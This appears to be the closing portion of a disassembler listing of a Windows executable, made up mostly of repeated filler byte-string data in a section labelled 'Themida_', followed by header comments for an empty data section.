		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ',0
		align 4
		dd 144h	dup(0)
		db 2 dup(0)
word_616C4E	dw 0			; DATA XREF: ___:off_4452F4o
		align 400h
Themida_	ends

; Section 5. (virtual address 00217000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 00217000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 617000h
		align 2000h
_idata2		ends


		end start